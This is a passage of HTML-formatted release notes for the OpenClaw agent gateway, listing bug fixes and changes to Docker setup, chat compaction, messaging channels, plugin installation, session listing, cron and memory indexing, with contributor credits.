<p>Docker/Gateway: pass Docker setup <code>.env</code> values into gateway and CLI containers and preserve exec SecretRef <code>passEnv</code> keys in managed service plans, so 1Password Connect-backed Discord tokens keep resolving after doctor or plugin repair. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Control UI/WebChat: explain compaction boundaries in chat history and link directly to session checkpoint controls so pre-compaction turns no longer look silently lost after refresh. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370766004" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76415" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76415/hovercard" href="https://github.com/openclaw/openclaw/issues/76415">#76415</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</p>
</li>
<li>
<p>Agents/compaction: add an optional bundled compaction notifier hook and retry once from the compacted transcript when automatic compaction leaves a turn without a final visible reply. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371697581" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76651" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76651/hovercard" href="https://github.com/openclaw/openclaw/pull/76651">#76651</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simplyclever914/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simplyclever914">@simplyclever914</a>.</p>
</li>
<li>
<p>Agents/incomplete-turn: detect and surface a warning when the agent's final text after a tool-call chain is silently dropped because the post-tool assistant response was never produced, instead of completing the turn with only the pre-tool analysis text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370985585" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76477/hovercard" href="https://github.com/openclaw/openclaw/issues/76477">#76477</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Channels/WhatsApp: attach native outbound mention metadata for group text and media captions by resolving <code>@+&lt;digits&gt;</code> and <code>@&lt;digits&gt;</code> tokens against WhatsApp participant data, including LID groups. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041311446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39879" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39879/hovercard" href="https://github.com/openclaw/openclaw/issues/39879">#39879</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4163220091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56863/hovercard" href="https://github.com/openclaw/openclaw/pull/56863">#56863</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kengi1437/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kengi1437">@kengi1437</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joe2643/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joe2643">@joe2643</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fridayck/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fridayck">@fridayck</a>.</p>
</li>
<li>
<p>Channels/WhatsApp: require outbound mention tokens to end at a word boundary so phone-number prefixes inside longer strings no longer trigger hidden native mentions.</p>
</li>
<li>
<p>Plugins/uninstall: remove empty managed git install parent directories after deleting cloned plugin repos and cover npm/git uninstall residue in Docker plugin lifecycle tests. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/install: resolve bare official external plugin IDs such as <code>brave</code> through the official catalog when no bundled source is available, so packaged installs fetch the intended scoped npm package instead of an unrelated unscoped package. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370601523" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76373/hovercard" href="https://github.com/openclaw/openclaw/issues/76373">#76373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bek91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bek91">@bek91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/install: require OpenClaw-owned install provenance before granting official npm plugin scanner trust, so direct npm package names no longer bypass launch-code scanning while catalog, onboarding, and doctor installs stay trusted. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fede-kamel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fede-kamel">@fede-kamel</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Network proxy: preserve target TLS hostname validation for Node HTTPS requests routed through the managed HTTP proxy, so Discord-style CONNECT traffic no longer validates certificates against the local proxy host. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355182995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74809" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74809/hovercard" href="https://github.com/openclaw/openclaw/issues/74809">#74809</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370848453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76442" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76442/hovercard" href="https://github.com/openclaw/openclaw/pull/76442">#76442</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
<p>Gateway/sessions: keep <code>sessions.list</code> rows lightweight by bounding title/preview hydration to transcript head/tail reads and caching manifest model-id normalization plus setup fallback metadata against the active plugin snapshot. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rolandrscheel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rolandrscheel">@rolandrscheel</a>.</p>
</li>
<li>
<p>Gateway/performance: cache per-run verbose-level session reads, skip a redundant <code>lsof</code> scan in <code>gateway --force</code> when no listener was killed, and make the Gateway startup benchmark print usage for <code>--help</code>.</p>
</li>
<li>
<p>Gateway/sessions: keep agent runtime metadata on lightweight <code>sessions.list</code> rows and skip per-row transcript usage fallback, display model inference, and plugin projection, avoiding identity loss and event-loop stalls in large session stores. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/models: keep read-only <code>models.list</code> fallbacks on persisted/current metadata, configured rows, registry-compatible fallbacks, and static auth checks while preserving full-catalog image attachment capability checks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370624457" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76382" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76382/hovercard" href="https://github.com/openclaw/openclaw/issues/76382">#76382</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370567199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76360" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76360/hovercard" href="https://github.com/openclaw/openclaw/issues/76360">#76360</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365118757" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75707" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75707/hovercard" href="https://github.com/openclaw/openclaw/issues/75707">#75707</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/trojy13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/trojy13">@trojy13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RayWoo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RayWoo">@RayWoo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnathemaOfficial/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnathemaOfficial">@AnathemaOfficial</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/plugins: reject missing plugin ids before config writes in <code>plugins enable</code> and <code>plugins disable</code> so a typo no longer persists a stale config entry. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343056975" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73554" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73554/hovercard" href="https://github.com/openclaw/openclaw/pull/73554">#73554</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Agents/sessions: preserve delivered trailing assistant replies during session-file repair so Telegram/WebChat history is not rewritten to drop already-delivered responses. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370427059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76329" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76329/hovercard" href="https://github.com/openclaw/openclaw/issues/76329">#76329</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</p>
</li>
<li>
<p>Gateway/chat history: preserve oversized transcript turns as explicit omitted-message placeholders while avoiding large JSONL parse stalls. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/doctor: load the configured memory-slot plugin when resolving memory diagnostics so bundled <code>memory-core</code> no longer triggers a false “no active memory plugin” warning on standalone <code>doctor</code> / <code>status</code> runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370574756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76367" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76367/hovercard" href="https://github.com/openclaw/openclaw/issues/76367">#76367</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: preserve stack diagnostics when <code>chat.send</code> or agent attachment parsing/staging fails, improving image-send failure triage. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4228443758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63432" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63432/hovercard" href="https://github.com/openclaw/openclaw/issues/63432">#63432</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359396699" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75135" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75135/hovercard" href="https://github.com/openclaw/openclaw/pull/75135">#75135</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keen0206/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keen0206">@keen0206</a>.</p>
</li>
<li>
<p>Agents/idle-timeout: add a cost-runaway breaker to the outer embedded-run retry loop that halts further attempts after 5 consecutive idle timeouts without completed model progress, so a wedged provider can no longer fan paid model calls out across the same run; completed text or tool-call progress resets the breaker, but partial tool-argument token dribbles do not. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370289299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76293" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76293/hovercard" href="https://github.com/openclaw/openclaw/issues/76293">#76293</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ThePuma312/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ThePuma312">@ThePuma312</a>.</p>
</li>
<li>
<p>Heartbeats/Codex: align structured heartbeat prompts with actual <code>heartbeat_respond</code> tool availability, stop sending legacy <code>HEARTBEAT_OK</code> when the tool exists, and keep tool-disabled commitment check-ins on the legacy ack path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Agent runtimes: fail explicit plugin runtime selections honestly when the requested harness is unavailable instead of silently falling back to the embedded PI runtime. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Maintainer workflow: push prepared PR heads through GitHub's verified commit API by default and require an explicit override before git-protocol pushes can publish unsigned commits. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</p>
</li>
<li>
<p>Feishu: resolve setup/status probes through the selected/default account so multi-account configs with account-scoped app credentials show as configured and probeable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337409818" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72930" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72930/hovercard" href="https://github.com/openclaw/openclaw/issues/72930">#72930</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Gateway/responses: emit every client tool call from <code>/v1/responses</code> JSON and SSE responses when the agent invokes multiple client tools in a single turn, so multi-tool plans, graph orchestration calls, and similar batched flows no longer drop every call but the last. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116186321" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52288" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52288/hovercard" href="https://github.com/openclaw/openclaw/issues/52288">#52288</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharZhou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharZhou">@CharZhou</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bonelli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bonelli">@bonelli</a>.</p>
</li>
<li>
<p>Gateway/agent: enforce <code>session.sendPolicy=deny</code> on gateway agent requests only when <code>deliver: true</code>, so non-delivery smoke checks and internal agent runs are no longer rejected with <code>send blocked by session policy</code> while outbound delivery remains gated. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341403030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73381" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73381/hovercard" href="https://github.com/openclaw/openclaw/issues/73381">#73381</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wenxu007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wenxu007">@wenxu007</a>.</p>
</li>
<li>
<p>Slack/reactions: treat missing no_reaction remove responses as idempotent success and route own-reaction cleanup through the remove helper, so concurrent cleanup no longer surfaces Slack race errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4105088415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50733" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50733/hovercard" href="https://github.com/openclaw/openclaw/issues/50733">#50733</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370345462" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76304" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76304/hovercard" href="https://github.com/openclaw/openclaw/pull/76304">#76304</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hollychou924/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hollychou924">@Hollychou924</a>.</p>
</li>
<li>
<p>Feishu: include media <code>file_key</code> and <code>image_key</code> values in inbound dedupe so reused message IDs still process distinct media attachments while true retries stay suppressed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357858578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75057" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75057/hovercard" href="https://github.com/openclaw/openclaw/issues/75057">#75057</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>Control UI/Gateway: avoid full session-list reloads for locally applied message-phase session updates, carry known session keys through transcript-file update events, and defer media provider listing when explicit generation model config is present. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369867512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76236" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76236/hovercard" href="https://github.com/openclaw/openclaw/issues/76236">#76236</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369693147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76203" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76203/hovercard" href="https://github.com/openclaw/openclaw/issues/76203">#76203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369600766" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76188" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76188/hovercard" href="https://github.com/openclaw/openclaw/issues/76188">#76188</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369131982" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76107" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76107/hovercard" href="https://github.com/openclaw/openclaw/issues/76107">#76107</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369510539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76166" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76166/hovercard" href="https://github.com/openclaw/openclaw/issues/76166">#76166</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</p>
</li>
<li>
<p>Install/update: prune the obsolete <code>plugin-runtime-deps</code> state directory during packaged postinstall so upgrades from pre-2026.5.2 releases reclaim old bundled-plugin dependency caches without touching external plugin installs.</p>
</li>
<li>
<p>Auto-reply/queue: treat reset-triggered <code>/new</code> and <code>/reset</code> turns as interrupt runs across active-run queue handling, so steer/followup modes cannot delay a fresh session behind existing work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348103885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74093" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74093/hovercard" href="https://github.com/openclaw/openclaw/issues/74093">#74093</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348397494" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74144" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74144/hovercard" href="https://github.com/openclaw/openclaw/pull/74144">#74144</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruji9527/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruji9527">@ruji9527</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yelog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yelog">@yelog</a>.</p>
</li>
<li>
<p>Cron: persist repaired startup runtime state back to <code>jobs-state.json</code> so a valid future <code>nextRunAtMs</code> with missing <code>updatedAtMs</code> no longer triggers repeated external health-check repairs after Gateway restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370927215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76461" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76461/hovercard" href="https://github.com/openclaw/openclaw/issues/76461">#76461</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Cron: preserve manual <code>cron.run</code> IDs in <code>cron.runs</code> history so manual run acknowledgements can be correlated with finished run records. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370150294" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76276" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76276/hovercard" href="https://github.com/openclaw/openclaw/issues/76276">#76276</a>.</p>
</li>
<li>
<p>CLI/devices: request <code>operator.admin</code> for <code>openclaw devices approve &lt;requestId&gt;</code> only when the exact pending device request would mint or inherit admin-scoped operator access, while keeping lower-scope approvals on the pairing scope.</p>
</li>
<li>
<p>Memory/embedding: broaden the embedding reindex retry classifier to include transient socket-layer errors (<code>fetch failed</code>, <code>ECONNRESET</code>, <code>socket hang up</code>, <code>UND_ERR_*</code>, <code>closed</code>) so memory reindex survives provider network hiccups instead of aborting mid-run. Related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162666762" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56815" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56815/hovercard" href="https://github.com/openclaw/openclaw/issues/56815">#56815</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065430828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44166" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44166/hovercard" href="https://github.com/openclaw/openclaw/issues/44166">#44166</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370365109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76311" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76311/hovercard" href="https://github.com/openclaw/openclaw/pull/76311">#76311</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/buyitsydney/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/buyitsydney">@buyitsydney</a>.</p>
</li>
<li>
<p>Memory/sessions: keep rotated and deleted transcripts (<code>.jsonl.reset.&lt;iso&gt;</code> / <code>.jsonl.deleted.&lt;iso&gt;</code>) searchable by indexing archive content, mapping archive hits back to live transcript stems, emitting transcript update events on archive rotation, and bypassing incremental delta thresholds for one-shot archive mutations while keeping backups and compaction checkpoints opaque. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4157084622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56131" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56131/hovercard" href="https://github.com/openclaw/openclaw/issues/56131">#56131</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/buyitsydney/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/buyitsydney">@buyitsydney</a>.</p>
</li>
<li>
<p>Memory/search: keep sqlite-vec optional in packaged installs and point missing-extension recovery at the valid <code>agents.defaults.memorySearch.store.vector.extensionPath</code> setting. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/willemsej/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/willemsej">@willemsej</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway: keep directly requested plugin tools invokable under restrictive tool profiles while preserving explicit deny lists and the HTTP safety deny list, preventing catalog/invoke mismatches that surface as "Tool not available". Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</p>
</li>
<li>
<p>Gateway/update: allow beta binaries to refresh gateway services when the config was last written by the matching stable release version, avoiding false newer-config downgrade blocks during beta channel updates.</p>
</li>
<li>
<p>Channels: keep Matrix and Mattermost bundled in the core package instead of advertising external npm installs before those channels are cut over. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Bonjour: disable LAN mDNS advertising after a repeated stuck-announcing recovery instead of repeatedly restarting ciao and saturating the Gateway event loop.</p>
</li>
<li>
<p>Channels/setup: label installable channel picker hints as remote npm installs and hide remote install hints for bundled plugins that already ship with OpenClaw.</p>
</li>
<li>
